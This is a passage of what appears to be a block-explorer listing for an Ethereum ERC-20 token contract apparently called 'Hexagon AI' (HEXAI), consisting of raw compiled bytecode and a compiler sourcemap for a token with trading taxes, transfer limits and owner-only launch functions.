61157b575f80fd5b81516110348161134c565b5f805f60608486031215611598575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115c1575f80fd5b81518015158114611034575f80fd5b808201808211156102d4576102d461141d565b5f600182016115f4576115f461141d565b5060010190565b818103818111156102d4576102d461141d565b5f8261162857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561168f5784516001600160a01b03168352938301939183019160010161166a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220524f8833f1184e336a97c15c1cc057cb848500d80344be836f257485b786a08d64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c806364c913c51161007c5780638da5cb5b116100575780638da5cb5b1461020e57806395d89b4114610234578063a9059cbb14610261578063dd62ed3e14610280575f80fd5b806364c913c5146101b257806370a08231146101c6578063715018a6146101fa575f80fd5b806306fdde03146100cd578063095ea7b31461011157806318160ddd1461014057806323b872dd14610162578063313ce5671461018157806333f3fef51461019c575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600a81526948657861676f6e20414960b01b60208201525b6040516101089190611301565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004611363565b6102c4565b6040519015158152602001610108565b34801561014b575f80fd5b506101546102da565b604051908152602001610108565b34801561016d575f80fd5b5061013061017c36600461138d565b6102fa565b34801561018c575f80fd5b5060405160098152602001610108565b3480156101a7575f80fd5b506101b0610361565b005b3480156101bd575f80fd5b506101b06106b5565b3480156101d1575f80fd5b506101546101e03660046113cb565b6001600160a01b03165f9081526001602052604090205490565b348015610205575f80fd5b506101b0610770565b348015610219575f80fd5b505f546040516001600160a01b039091168152602001610108565b34801561023f575f80fd5b50604080518082019091526005815264484558414960d81b60208201526100fb565b34801561026c575f80fd5b5061013061027b366004611363565b6107e1565b34801561028b575f80fd5b5061015461029a3660046113e6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d03384846107ed565b5060015b92915050565b5f6102e76009600a611511565b6102f590633b9aca0061151f565b905090565b5f610306848484610910565b6103578433610352856040518060600160405280602881526020016116b1602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f41565b6107ed565b5060019392505050565b5f546001600160a01b031633146103935760405162461bcd60e51b815260040161038a90611536565b60405180910390fd5b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103dc9030906103ce6009600a611511565b61035290633b9aca0061151f565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561042c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610450919061156b565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d3919061156b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561051d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610541919061156b565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d7194730610588816001600160a01b03165f9081526001602052604090205490565b5f8061059b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610601573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106269190611586565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561067b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069f91906115b1565b506016805460ff60a81b1916600160a81b179055565b5f546001600160a01b031633146106de5760405162461bcd60e51b815260040161038a90611536565b6106ea6009600a611511565b6106f890633b9aca0061151f565b6012556107076009600a611511565b61071590633b9aca0061151f565b6011556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61074f6009600a611511565b61075d90633b9aca0061151f565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107995760405162461bcd60e51b815260040161038a90611536565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d0338484610910565b6001600160a01b03831661084f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038a565b6001600160a01b0382166108b05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038a565b6001600160a01b0382166109d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038a565b5f8111610a375760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038a565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a7957506001600160a01b0384165f9081526003602052604090205460ff16155b15610dd357610a9b6064610a95610a8e610f79565b8690610fb6565b9061103b565b60055490925060ff1615610b81576015546001600160a01b03858116911614801590610ad557506016546001600160a01b03858116911614155b15610b8157325f908152600460205260409020544311610b6f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161038a565b325f9081526004602052604090204390555b6016546001600160a01b038681169116148015610bac57506015546001600160a01b03858116911614155b8015610bd057506001600160a01b0384165f9081526003602052604090205460ff16155b15610ccc57601154831115610c275760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e000000000000000000604482015260640161038a565b60125483610c49866001600160a01b03165f9081526001602052604090205490565b610c5391906115d0565b1115610ca15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038a565b600b8054905f610cb0836115e3565b9190505550600a54600b541115610ccc576005805460ff191690555b6016546001600160a01b038581169116148015610cf257506001600160a01b0385163014155b15610d0a57610d076064610a95610a8e61107c565b91505b305f90815260016020526040902054601654600160a01b900460ff16158015610d4057506016546001600160a01b038681169116145b8015610d555750601654600160a81b900460ff165b8015610d62575060135484115b15610dcd57601354811115610d8e57610d8e610d8985610d84846014546110b2565b6110b2565b6110c6565b6005546040516001600160a01b0361010090920491909116904780156108fc02915f818181858888f19350505050158015610dcb573d5f803e3d5ffd5b505b50610e03565b6005546001600160a01b03610100909104811690861603610e0357610e0083610d84600c546014546110b2565b90505b8115610e7b57305f90815260016020526040902054610e229083611236565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e729086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610e9d9082611294565b6001600160a01b0386165f90815260016020526040902055610ee0610ec28484611294565b6001600160a01b0386165f9081526001602052604090205490611236565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f298686611294565b60405190815260200160405180910390a35050505050565b5f8184841115610f645760405162461bcd60e51b815260040161038a9190611301565b505f610f7084866115fb565b95945050505050565b5f600854600b5411610f8c575060065490565b600854600b54118015610fa35750600e54600b5411155b15610faf5750600c5490565b50600f5490565b5f825f03610fc557505f6102d4565b5f610fd0838561151f565b905082610fdd858361160e565b146110345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038a565b9392505050565b5f61103483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112d5565b5f600854600b541161108f575060075490565b600954600b541180156110a65750600e54600b5411155b15610faf5750600d5490565b5f8183116110c05782611034565b50919050565b6016805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061110c5761110c61162d565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611163573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611187919061156b565b8160018151811061119a5761119a61162d565b6001600160a01b0392831660209182029290920101526015546111c091309116846107ed565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f89085905f90869030904290600401611641565b5f604051808303815f87803b15801561120f575f80fd5b505af1158015611221573d5f803e3d5ffd5b50506016805460ff60a01b1916905550505050565b5f8061124283856115d0565b9050838110156110345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038a565b5f61103483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f41565b5f81836112f55760405162461bcd60e51b815260040161038a9190611301565b505f610f70848661160e565b5f6020808352835180828501525f5b8181101561132c57858101830151858201604001528201611310565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611360575f80fd5b50565b5f8060408385031215611374575f80fd5b823561137f8161134c565b946020939093013593505050565b5f805f6060848603121561139f575f80fd5b83356113aa8161134c565b925060208401356113ba8161134c565b929592945050506040919091013590565b5f602082840312156113db575f80fd5b81356110348161134c565b5f80604083850312156113f7575f80fd5b82356114028161134c565b915060208301356114128161134c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146b57815f19048211156114515761145161141d565b8085161561145e57918102915b93841c9390800290611436565b509250929050565b5f82611481575060016102d4565b8161148d57505f6102d4565b81600181146114a357600281146114ad576114c9565b60019150506102d4565b60ff8411156114be576114be61141d565b50506001821b6102d4565b5060208310610133831016604e8410600b84101617156114ec575081810a6102d4565b6114f68383611431565b805f19048211156115095761150961141d565b029392505050565b5f61103460ff841683611473565b80820281158282048414176102d4576102d461141d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561157b575f80fd5b81516110348161134c565b5f805f60608486031215611598575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115c1575f80fd5b81518015158114611034575f80fd5b808201808211156102d4576102d461141d565b5f600182016115f4576115f461141d565b5060010190565b818103818111156102d4576102d461141d565b5f8261162857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561168f5784516001600160a01b03168352938301939183019160010161166a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220524f8833f1184e336a97c15c1cc057cb848500d80344be836f257485b786a08d64736f6c63430008150033

Deployed Bytecode Sourcemap

3634:8174:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5644:83;;;;;;;;;;-1:-1:-1;5714:5:0;;;;;;;;;;;;-1:-1:-1;;;5714:5:0;;;;5644:83;;;;;;;:::i;:::-;;;;;;;;6477:161;;;;;;;;;;-1:-1:-1;6477:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6477:161:0;1023:187:1;5921:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5921:95:0;1215:177:1;6646:313:0;;;;;;;;;;-1:-1:-1;6646:313:0;;;;;:::i;:::-;;:::i;5830:83::-;;;;;;;;;;-1:-1:-1;5830:83:0;;4563:1;2000:36:1;;1988:2;1973:18;5830:83:0;1858:184:1;11194:574:0;;;;;;;;;;;;;:::i;:::-;;10993:193;;;;;;;;;;;;;:::i;6024:119::-;;;;;;;;;;-1:-1:-1;6024:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6117:18:0;6090:7;6117:18;;;:9;:18;;;;;;;6024:119;2715:148;;;;;;;;;;;;;:::i;2501:79::-;;;;;;;;;;-1:-1:-1;2539:7:0;2566:6;2501:79;;-1:-1:-1;;;;;2566:6:0;;;2445:51:1;;2433:2;2418:18;2501:79:0;2299:203:1;5735:87:0;;;;;;;;;;-1:-1:-1;5807:7:0;;;;;;;;;;;;-1:-1:-1;;;5807:7:0;;;;5735:87;;6151:167;;;;;;;;;;-1:-1:-1;6151:167:0;;;;;:::i;:::-;;:::i;6326:143::-;;;;;;;;;;-1:-1:-1;6326:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6434:18:0;;;6407:7;6434:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6326:143;6477:161;6552:4;6569:39;336:10;6592:7;6601:6;6569:8;:39::i;:::-;-1:-1:-1;6626:4:0;6477:161;;;;;:::o;5921:95::-;5974:7;4619:13;4563:1;4619:2;:13;:::i;:::-;4606:26;;:10;:26;:::i;:::-;5994:14;;5921:95;:::o;6646:313::-;6744:4;6761:36;6771:6;6779:9;6790:6;6761:9;:36::i;:::-;6808:121;6817:6;336:10;6839:89;6877:6;6839:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6839:19:0;;;;;;:11;:19;;;;;;;;336:10;6839:33;;;;;;;;;;:37;:89::i;:::-;6808:8;:121::i;:::-;-1:-1:-1;6947:4:0;6646:313;;;;;:::o;11194:574::-;2628:6;;-1:-1:-1;;;;;2628:6:0;336:10;2628:22;2620:67;;;;-1:-1:-1;;;2620:67:0;;;;;;;:::i;:::-;;;;;;;;;11248:15:::1;:80:::0;;-1:-1:-1;;;;;;11248:80:0::1;11285:42;11248:80:::0;;::::1;::::0;;;11339:58:::1;::::0;11356:4:::1;::::0;4619:13:::1;4563:1;4619:2;:13;:::i;:::-;4606:26;::::0;:10:::1;:26;:::i;11339:58::-;11437:15;;;;;;;;;-1:-1:-1::0;;;;;11437:15:0::1;-1:-1:-1::0;;;;;11437:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11419:55:0::1;;11483:4;11490:15;;;;;;;;;-1:-1:-1::0;;;;;11490:15:0::1;-1:-1:-1::0;;;;;11490:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11419:94;::::0;-1:-1:-1;;;;;;11419:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;11419:94:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;11419:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11408:8;:105:::0;;-1:-1:-1;;;;;11408:105:0;;::::1;-1:-1:-1::0;;;;;;11408:105:0;;::::1;;::::0;;11524:15:::1;::::0;::::1;:31;11563:21;11594:4;11600:24;11594:4:::0;-1:-1:-1;;;;;6117:18:0;6090:7;6117:18;;;:9;:18;;;;;;;6024:119;11600:24:::1;11625:1;11627::::0;11629:7:::1;2539::::0;2566:6;-1:-1:-1;;;;;2566:6:0;;2501:79;11629:7:::1;11524:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11524:129:0;;;-1:-1:-1;;;;;5873:15:1;;;11524:129:0::1;::::0;::::1;5855:34:1::0;5905:18;;;5898:34;;;;5948:18;;;5941:34;;;;5991:18;;;5984:34;6055:15;;;6034:19;;;6027:44;11637:15:0::1;6087:19:1::0;;;6080:35;5789:19;;11524:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11671:8:0::1;::::0;11697:15:::1;::::0;11664:66:::1;::::0;-1:-1:-1;;;11664:66:0;;-1:-1:-1;;;;;11697:15:0;;::::1;11664:66;::::0;::::1;6611:51:1::0;-1:-1:-1;;6678:18:1;;;6671:34;11671:8:0;::::1;::::0;-1:-1:-1;11664:24:0::1;::::0;6584:18:1;;11664:66:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11741:12:0::1;:19:::0;;-1:-1:-1;;;;11741:19:0::1;-1:-1:-1::0;;;11741:19:0::1;::::0;;11194:574::o;10993:193::-;2628:6;;-1:-1:-1;;;;;2628:6:0;336:10;2628:22;2620:67;;;;-1:-1:-1;;;2620:67:0;;;;;;;:::i;:::-;4619:13:::1;4563:1;4619:2;:13;:::i;:::-;4606:26;::::0;:10:::1;:26;:::i;:::-;11044:14;:23:::0;4619:13:::1;4563:1;4619:2;:13;:::i;:::-;4606:26;::::0;:10:::1;:26;:::i;:::-;11078:10;:20:::0;11109:18:::1;:26:::0;;-1:-1:-1;;11109:26:0::1;::::0;;11151:27:::1;4619:13;4563:1;4619:2;:13;:::i;:::-;4606:26;::::0;:10:::1;:26;:::i;:::-;11151:27;::::0;1361:25:1;;;1349:2;1334:18;11151:27:0::1;;;;;;;10993:193::o:0;2715:148::-;2628:6;;-1:-1:-1;;;;;2628:6:0;336:10;2628:22;2620:67;;;;-1:-1:-1;;;2620:67:0;;;;;;;:::i;:::-;2822:1:::1;2806:6:::0;;2785:40:::1;::::0;-1:-1:-1;;;;;2806:6:0;;::::1;::::0;2785:40:::1;::::0;2822:1;;2785:40:::1;2853:1;2836:19:::0;;-1:-1:-1;;;;;;2836:19:0::1;::::0;;2715:148::o;6151:167::-;6229:4;6246:42;336:10;6270:9;6281:6;6246:9;:42::i;6967:335::-;-1:-1:-1;;;;;7060:19:0;;7052:68;;;;-1:-1:-1;;;7052:68:0;;7200:2:1;7052:68:0;;;7182:21:1;7239:2;7219:18;;;7212:30;7278:34;7258:18;;;7251:62;-1:-1:-1;;;7329:18:1;;;7322:34;7373:19;;7052:68:0;6998:400:1;7052:68:0;-1:-1:-1;;;;;7139:21:0;;7131:68;;;;-1:-1:-1;;;7131:68:0;;7605:2:1;7131:68:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;7131:68:0;7403:398:1;7131:68:0;-1:-1:-1;;;;;7210:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7262:32;;1361:25:1;;;7262:32:0;;1334:18:1;7262:32:0;;;;;;;6967:335;;;:::o;7310:2409::-;-1:-1:-1;;;;;7398:18:0;;7390:68;;;;-1:-1:-1;;;7390:68:0;;8008:2:1;7390:68:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:35;8182:19;;7390:68:0;7806:401:1;7390:68:0;-1:-1:-1;;;;;7477:16:0;;7469:64;;;;-1:-1:-1;;;7469:64:0;;8414:2:1;7469:64:0;;;8396:21:1;8453:2;8433:18;;;8426:30;8492:34;8472:18;;;8465:62;-1:-1:-1;;;8543:18:1;;;8536:33;8586:19;;7469:64:0;8212:399:1;7469:64:0;7561:1;7552:6;:10;7544:64;;;;-1:-1:-1;;;7544:64:0;;8818:2:1;7544:64:0;;;8800:21:1;8857:2;8837:18;;;8830:30;8896:34;8876:18;;;8869:62;-1:-1:-1;;;8947:18:1;;;8940:39;8996:19;;7544:64:0;8616:405:1;7544:64:0;-1:-1:-1;;;;;7691:16:0;;7619:17;7691:16;;;:10;:16;;;;;;7669:6;;7691:16;;7690:17;:36;;;;-1:-1:-1;;;;;;7712:14:0;;;;;;:10;:14;;;;;;;;7711:15;7690:36;7686:1673;;;7755:34;7785:3;7755:25;7766:13;:11;:13::i;:::-;7755:6;;:10;:25::i;:::-;:29;;:34::i;:::-;7808:18;;7743:46;;-1:-1:-1;7808:18:0;;7804:445;;;7865:15;;-1:-1:-1;;;;;7851:30:0;;;7865:15;;7851:30;;;;:57;;-1:-1:-1;7899:8:0;;-1:-1:-1;;;;;7885:23:0;;;7899:8;;7885:23;;7851:57;7847:387;;;7992:9;7968:34;;;;:23;:34;;;;;;8005:12;-1:-1:-1;7934:208:0;;;;-1:-1:-1;;;7934:208:0;;9228:2:1;7934:208:0;;;9210:21:1;9267:2;9247:18;;;9240:30;9306:34;9286:18;;;9279:62;9377:34;9357:18;;;9350:62;-1:-1:-1;;;9428:19:1;;;9421:40;9478:19;;7934:208:0;9026:477:1;7934:208:0;8189:9;8165:34;;;;:23;:34;;;;;8202:12;8165:49;;7847:387;8277:8;;-1:-1:-1;;;;;8269:16:0;;;8277:8;;8269:16;:50;;;;-1:-1:-1;8303:15:0;;-1:-1:-1;;;;;8289:30:0;;;8303:15;;8289:30;;8269:50;:70;;;;-1:-1:-1;;;;;;8325:14:0;;;;;;:10;:14;;;;;;;;8323:16;8269:70;8265:427;;;8379:10;;8369:6;:20;;8361:56;;;;-1:-1:-1;;;8361:56:0;;9710:2:1;8361:56:0;;;9692:21:1;9749:2;9729:18;;;9722:30;9788:25;9768:18;;;9761:53;9831:18;;8361:56:0;9508:347:1;8361:56:0;8470:14;;8460:6;8444:13;8454:2;-1:-1:-1;;;;;6117:18:0;6090:7;6117:18;;;:9;:18;;;;;;;6024:119;8444:13;:22;;;;:::i;:::-;:40;;8436:79;;;;-1:-1:-1;;;8436:79:0;;10192:2:1;8436:79:0;;;10174:21:1;10231:2;10211:18;;;10204:30;10270:28;10250:18;;;10243:56;10316:18;;8436:79:0;9990:350:1;8436:79:0;8534:15;:17;;;:15;:17;;;:::i;:::-;;;;;;8592:14;;8574:15;;:32;8570:107;;;8631:18;:26;;-1:-1:-1;;8631:26:0;;;8570:107;8717:8;;-1:-1:-1;;;;;8711:14:0;;;8717:8;;8711:14;:38;;;;-1:-1:-1;;;;;;8729:20:0;;8744:4;8729:20;;8711:38;8708:125;;;8782:35;8813:3;8782:26;8793:14;:12;:14::i;8782:35::-;8770:47;;8708:125;8899:4;8849:29;6117:18;;;:9;:18;;;;;;8925:11;;-1:-1:-1;;;8925:11:0;;;;8924:12;:30;;;;-1:-1:-1;8946:8:0;;-1:-1:-1;;;;;8940:14:0;;;8946:8;;8940:14;8924:30;:46;;;;-1:-1:-1;8958:12:0;;-1:-1:-1;;;8958:12:0;;;;8924:46;:76;;;;;8983:17;;8974:6;:26;8924:76;8920:314;;;9048:17;;9024:21;:41;9021:134;;;9084:71;9099:55;9103:6;9110:43;9114:21;9136:16;;9110:3;:43::i;:::-;9099:3;:55::i;:::-;9084:14;:71::i;:::-;9174:12;;:44;;-1:-1:-1;;;;;9174:12:0;;;;;;;;;9196:21;9174:44;;;;;;;;;9196:21;9174:12;:44;;;;;;;;;;;;;;;;;;;;;8920:314;7728:1517;7686:1673;;;9270:12;;-1:-1:-1;;;;;9270:12:0;;;;;;9254:29;;;;9251:108;;9312:47;9316:6;9323:35;9327:13;;9341:16;;9323:3;:35::i;9312:47::-;9298:61;;9251:108;9373:11;;9370:161;;9441:4;9423:24;;;;:9;:24;;;;;;:39;;9452:9;9423:28;:39::i;:::-;9416:4;9398:24;;;;:9;:24;;;;;;;:64;;;;9480:39;;-1:-1:-1;;;;;9480:39:0;;;;;;;9509:9;1361:25:1;;1349:2;1334:18;;1215:177;9480:39:0;;;;;;;;9370:161;-1:-1:-1;;;;;9557:15:0;;;;;;:9;:15;;;;;;:32;;9577:11;9557:19;:32::i;:::-;-1:-1:-1;;;;;9541:15:0;;;;;;:9;:15;;;;;:48;9614:40;9632:21;:6;9643:9;9632:10;:21::i;:::-;-1:-1:-1;;;;;9614:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9600:13:0;;;;;;;:9;:13;;;;;:54;;;;9670:41;;;9689:21;:6;9700:9;9689:10;:21::i;:::-;9670:41;;1361:25:1;;;1349:2;1334:18;9670:41:0;;;;;;;7379:2340;;7310:2409;;;:::o;1393:190::-;1479:7;1515:12;1507:6;;;;1499:29;;;;-1:-1:-1;;;1499:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1539:9:0;1551:5;1555:1;1551;:5;:::i;:::-;1539:17;1393:190;-1:-1:-1;;;;;1393:190:0:o;10065:326::-;10110:7;10152:15;;10133;;:34;10130:88;;-1:-1:-1;10190:16:0;;;10065:326::o;10130:88::-;10249:15;;10231;;:33;:72;;;;;10287:16;;10268:15;;:35;;10231:72;10228:123;;;-1:-1:-1;10326:13:0;;;10065:326::o;10228:123::-;-1:-1:-1;10369:14:0;;;10065:326::o;1591:246::-;1649:7;1673:1;1678;1673:6;1669:47;;-1:-1:-1;1703:1:0;1696:8;;1669:47;1726:9;1738:5;1742:1;1738;:5;:::i;:::-;1726:17;-1:-1:-1;1771:1:0;1762:5;1766:1;1726:17;1762:5;:::i;:::-;:10;1754:56;;;;-1:-1:-1;;;1754:56:0;;11042:2:1;1754:56:0;;;11024:21:1;11081:2;11061:18;;;11054:30;11120:34;11100:18;;;11093:62;-1:-1:-1;;;11171:18:1;;;11164:31;11212:19;;1754:56:0;10840:397:1;1754:56:0;1828:1;1591:246;-1:-1:-1;;;1591:246:0:o;1845:132::-;1903:7;1930:39;1934:1;1937;1930:39;;;;;;;;;;;;;;;;;:3;:39::i;9727:330::-;9773:7;9815:15;;9796;;:34;9793:89;;-1:-1:-1;9853:17:0;;;9727:330::o;9793:89::-;9913:16;;9895:15;;:34;:73;;;;;9952:16;;9933:15;;:35;;9895:73;9892:125;;;-1:-1:-1;9991:14:0;;;9727:330::o;10401:98::-;10458:7;10485:1;10483;:3;10482:9;;10490:1;10482:9;;;-1:-1:-1;10488:1:0;10401:98;-1:-1:-1;10401:98:0:o;10507:478::-;5233:11;:18;;-1:-1:-1;;;;5233:18:0;-1:-1:-1;;;5233:18:0;;;10604:16:::1;::::0;;10618:1:::1;10604:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10604:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10604:16:0::1;10580:40;;10649:4;10631;10636:1;10631:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10631:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10675:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10675:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10631:7;;10675:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10665:4;10670:1;10665:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10665:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10740:15:::1;::::0;10708:62:::1;::::0;10725:4:::1;::::0;10740:15:::1;10758:11:::0;10708:8:::1;:62::i;:::-;10781:15;::::0;:196:::1;::::0;-1:-1:-1;;;10781:196:0;;-1:-1:-1;;;;;10781:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10862:11;;10781:15:::1;::::0;10904:4;;10931::::1;::::0;10951:15:::1;::::0;10781:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5274:11:0;:19;;-1:-1:-1;;;;5274:19:0;;;-1:-1:-1;;;;10507:478:0:o;1062:179::-;1120:7;;1152:5;1156:1;1152;:5;:::i;:::-;1140:17;;1181:1;1176;:6;;1168:46;;;;-1:-1:-1;;;1168:46:0;;12693:2:1;1168:46:0;;;12675:21:1;12732:2;12712:18;;;12705:30;12771:29;12751:18;;;12744:57;12818:18;;1168:46:0;12491:351:1;1249:136:0;1307:7;1334:43;1338:1;1341;1334:43;;;;;;;;;;;;;;;;;:3;:43::i;1985:189::-;2071:7;2106:12;2099:5;2091:28;;;;-1:-1:-1;;;2091:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2130:9:0;2142:5;2146:1;2142;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;